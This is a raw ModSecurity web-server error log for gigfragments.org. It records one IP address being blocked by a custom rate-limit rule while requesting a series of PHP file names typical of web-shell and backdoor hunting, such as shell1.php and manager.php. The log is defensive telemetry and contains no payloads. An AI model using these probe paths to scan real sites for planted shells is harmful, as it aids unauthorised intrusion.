[Tue Nov 25 20:07:23.998639 2025] [:error] [pid 14078:tid 14141] [client 20.196.125.130:30444] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aSWb-9VXYbb0ii_rVoJPlAAAAIQ"]
[Tue Nov 25 20:07:24.680272 2025] [:error] [pid 28609:tid 28630] [client 20.196.125.130:30204] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aSWb_CGGdT-nZJVs3x3MTQAAAYw"]
[Tue Nov 25 20:07:25.164131 2025] [:error] [pid 28842:tid 29020] [client 20.196.125.130:30352] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aSWb_dNmoaPf6T4-6C2fxAAAA1I"]
[Tue Nov 25 20:07:25.576212 2025] [:error] [pid 28842:tid 28995] [client 20.196.125.130:30681] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aSWb_dNmoaPf6T4-6C2fyAAAA0U"]
[Tue Nov 25 20:07:26.126224 2025] [:error] [pid 28740:tid 28791] [client 20.196.125.130:30671] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "aSWb_lppQCoYxWW6V0WNpQAAAkA"]
[Tue Nov 25 20:07:27.319749 2025] [:error] [pid 28836:tid 29011] [client 20.196.125.130:30703] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aSWb_5wNRsoxcLQGkTfLrwAAAtU"]
[Tue Nov 25 20:07:27.672479 2025] [:error] [pid 28842:tid 28999] [client 20.196.125.130:30362] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aSWb_9NmoaPf6T4-6C2f0gAAA0k"]
[Tue Nov 25 20:07:28.345536 2025] [:error] [pid 28842:tid 29021] [client 20.196.125.130:30680] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aSWcANNmoaPf6T4-6C2f1QAAA1M"]
[Tue Nov 25 20:07:29.242340 2025] [:error] [pid 28740:tid 28794] [client 20.196.125.130:30678] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aSWcAVppQCoYxWW6V0WNpwAAAkM"]
[Tue Nov 25 20:07:30.156582 2025] [:error] [pid 14078:tid 14138] [client 20.196.125.130:30411] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/sallu.php"] [unique_id "aSWcAtVXYbb0ii_rVoJPlgAAAIE"]
[Tue Nov 25 20:07:30.727601 2025] [:error] [pid 14078:tid 14149] [client 20.196.125.130:30379] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/sallu.php"] [unique_id "aSWcAtVXYbb0ii_rVoJPmQAAAIw"]
[Tue Nov 25 20:07:31.182585 2025] [:error] [pid 14168:tid 14173] [client 20.196.125.130:30594] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/sallu.php"] [unique_id "aSWcA_R-ZDU0QEgAIItu_AAAAMI"]
[Tue Nov 25 20:07:32.307252 2025] [:error] [pid 14078:tid 14142] [client 20.196.125.130:30484] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/static/sallu.php"] [unique_id "aSWcBNVXYbb0ii_rVoJPnAAAAIU"]
[Tue Nov 25 20:07:32.934181 2025] [:error] [pid 28842:tid 29017] [client 20.196.125.130:30348] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aSWcBNNmoaPf6T4-6C2f4AAAA1A"]
[Tue Nov 25 20:07:33.669703 2025] [:error] [pid 14168:tid 14181] [client 20.196.125.130:30607] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aSWcBfR-ZDU0QEgAIItvAgAAAMo"]
[Tue Nov 25 20:07:34.133982 2025] [:error] [pid 28740:tid 28791] [client 20.196.125.130:30654] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aSWcBlppQCoYxWW6V0WNtQAAAkA"]
[Tue Nov 25 20:07:34.851630 2025] [:error] [pid 14078:tid 14150] [client 20.196.125.130:30696] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aSWcBtVXYbb0ii_rVoJPoQAAAI0"]
[Tue Nov 25 20:07:35.652496 2025] [:error] [pid 14078:tid 14143] [client 20.196.125.130:30407] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWcB9VXYbb0ii_rVoJPpQAAAIY"]
[Tue Nov 25 20:07:36.325009 2025] [:error] [pid 14168:tid 14183] [client 20.196.125.130:30704] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWcCPR-ZDU0QEgAIItvBQAAAMw"]
[Tue Nov 25 20:07:37.338723 2025] [:error] [pid 28740:tid 28796] [client 20.196.125.130:30598] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWcCVppQCoYxWW6V0WNuwAAAkU"]
[Tue Nov 25 20:07:37.736593 2025] [:error] [pid 28740:tid 28811] [client 20.196.125.130:30717] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aSWcCVppQCoYxWW6V0WNvAAAAlQ"]
[Tue Nov 25 20:07:38.517708 2025] [:error] [pid 14077:tid 14133] [client 20.196.125.130:30713] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aSWcChG9n7UHEkwDTyii5AAAAFc"]
[Tue Nov 25 20:07:39.304725 2025] [:error] [pid 14076:tid 14100] [client 20.196.125.130:30689] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aSWcC3sB4Gz6Qw-pvBsfiQAAABM"]
[Tue Nov 25 20:07:56.828126 2025] [:error] [pid 14077:tid 14121] [client 20.196.125.130:30371] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aSWcHBG9n7UHEkwDTyijHwAAAEs"]
[Tue Nov 25 20:07:57.258747 2025] [:error] [pid 28836:tid 29008] [client 20.196.125.130:30596] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aSWcHZwNRsoxcLQGkTfLxgAAAtI"]
[Tue Nov 25 20:07:57.784607 2025] [:error] [pid 28842:tid 28995] [client 20.196.125.130:30615] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aSWcHdNmoaPf6T4-6C2f9wAAA0U"]
[Tue Nov 25 20:07:58.134936 2025] [:error] [pid 28740:tid 28803] [client 20.196.125.130:30702] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ava.php"] [unique_id "aSWcHlppQCoYxWW6V0WN7AAAAkw"]
[Tue Nov 25 20:07:59.249514 2025] [:error] [pid 28609:tid 28640] [client 20.196.125.130:30555] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aSWcHyGGdT-nZJVs3x3MaAAAAZY"]
[Tue Nov 25 20:07:59.833512 2025] [:error] [pid 28609:tid 28619] [client 20.196.125.130:30719] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aSWcHyGGdT-nZJVs3x3MawAAAYE"]
[Tue Nov 25 20:08:00.300443 2025] [:error] [pid 14078:tid 14142] [client 20.196.125.130:30612] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aSWcINVXYbb0ii_rVoJPvgAAAIU"]
[Tue Nov 25 20:08:00.862939 2025] [:error] [pid 14168:tid 14194] [client 20.196.125.130:30636] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell1.php"] [unique_id "aSWcIPR-ZDU0QEgAIItvHwAAANc"]
[Tue Nov 25 20:08:02.001745 2025] [:error] [pid 28739:tid 28784] [client 20.196.125.130:30476] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aSWcIhxGpKmlkG4FexSDOgAAAhY"]
[Tue Nov 25 20:08:02.677396 2025] [:error] [pid 28740:tid 28811] [client 20.196.125.130:30624] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aSWcIlppQCoYxWW6V0WOCgAAAlQ"]
[Tue Nov 25 20:08:03.059172 2025] [:error] [pid 14077:tid 14127] [client 20.196.125.130:30602] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aSWcIxG9n7UHEkwDTyijLgAAAFE"]
[Tue Nov 25 20:08:04.193757 2025] [:error] [pid 28609:tid 28626] [client 20.196.125.130:30558] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gdn.php"] [unique_id "aSWcJCGGdT-nZJVs3x3McAAAAYg"]
[Tue Nov 25 20:08:04.855066 2025] [:error] [pid 14076:tid 14089] [client 20.196.125.130:30618] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aSWcJHsB4Gz6Qw-pvBsfogAAAAg"]
[Tue Nov 25 20:08:05.905292 2025] [:error] [pid 28609:tid 28621] [client 20.196.125.130:30576] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aSWcJSGGdT-nZJVs3x3MdAAAAYM"]
[Tue Nov 25 20:08:07.678998 2025] [:error] [pid 28609:tid 28638] [client 20.196.125.130:30674] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aSWcJyGGdT-nZJVs3x3MdwAAAZQ"]
[Tue Nov 25 20:08:08.764166 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30559] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/doc.php"] [unique_id "aSWcKBG9n7UHEkwDTyijPQAAAEc"]
[Tue Nov 25 20:08:09.177177 2025] [:error] [pid 14077:tid 14115] [client 20.196.125.130:30705] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWcKRG9n7UHEkwDTyijQQAAAEU"]
[Tue Nov 25 20:08:10.409374 2025] [:error] [pid 28609:tid 28632] [client 20.196.125.130:30684] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWcKiGGdT-nZJVs3x3MewAAAY4"]
[Tue Nov 25 20:08:11.028974 2025] [:error] [pid 28842:tid 28994] [client 20.196.125.130:30450] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWcK9NmoaPf6T4-6C2gKwAAA0Q"]
[Tue Nov 25 20:08:12.105441 2025] [:error] [pid 28842:tid 29023] [client 20.196.125.130:30447] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aSWcLNNmoaPf6T4-6C2gMwAAA1U"]
[Tue Nov 25 20:08:12.595847 2025] [:error] [pid 28836:tid 29010] [client 20.196.125.130:30617] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aSWcLJwNRsoxcLQGkTfL0QAAAtQ"]
[Tue Nov 25 20:08:12.999960 2025] [:error] [pid 14168:tid 14191] [client 20.196.125.130:30533] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aSWcLPR-ZDU0QEgAIItvKAAAANQ"]
[Tue Nov 25 20:08:13.441427 2025] [:error] [pid 14168:tid 14192] [client 20.196.125.130:30664] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aSWcLfR-ZDU0QEgAIItvKQAAANU"]
[Tue Nov 25 20:08:13.933677 2025] [:error] [pid 14168:tid 14171] [client 20.196.125.130:30599] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asd67.php"] [unique_id "aSWcLfR-ZDU0QEgAIItvKwAAAMA"]
[Tue Nov 25 20:08:14.531537 2025] [:error] [pid 14077:tid 14114] [client 20.196.125.130:30639] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aSWcLhG9n7UHEkwDTyijRAAAAEQ"]
[Tue Nov 25 20:08:14.934793 2025] [:error] [pid 14077:tid 14126] [client 20.196.125.130:30702] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aSWcLhG9n7UHEkwDTyijRgAAAFA"]
[Tue Nov 25 20:08:16.689733 2025] [:error] [pid 14076:tid 14101] [client 20.196.125.130:30597] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aSWcMHsB4Gz6Qw-pvBsfsgAAABQ"]
[Tue Nov 25 20:08:17.127269 2025] [:error] [pid 14077:tid 14129] [client 20.196.125.130:30718] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "aSWcMRG9n7UHEkwDTyijTwAAAFM"]
[Tue Nov 25 20:08:17.723596 2025] [:error] [pid 28739:tid 28766] [client 20.196.125.130:30545] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWcMRxGpKmlkG4FexSDSQAAAgQ"]
[Tue Nov 25 20:08:18.178962 2025] [:error] [pid 2987:tid 2990] [client 20.196.125.130:30275] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWcMs-djEt-pTzPxnyrpgAAAUE"]
[Tue Nov 25 20:08:18.861881 2025] [:error] [pid 14078:tid 14146] [client 20.196.125.130:30694] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWcMtVXYbb0ii_rVoJP5QAAAIk"]
[Tue Nov 25 20:08:19.920080 2025] [:error] [pid 28740:tid 28799] [client 20.196.125.130:30706] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aSWcM1ppQCoYxWW6V0WOIQAAAkg"]
[Tue Nov 25 20:08:21.645387 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30581] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usep.php"] [unique_id "aSWcNRG9n7UHEkwDTyijYAAAAEc"]
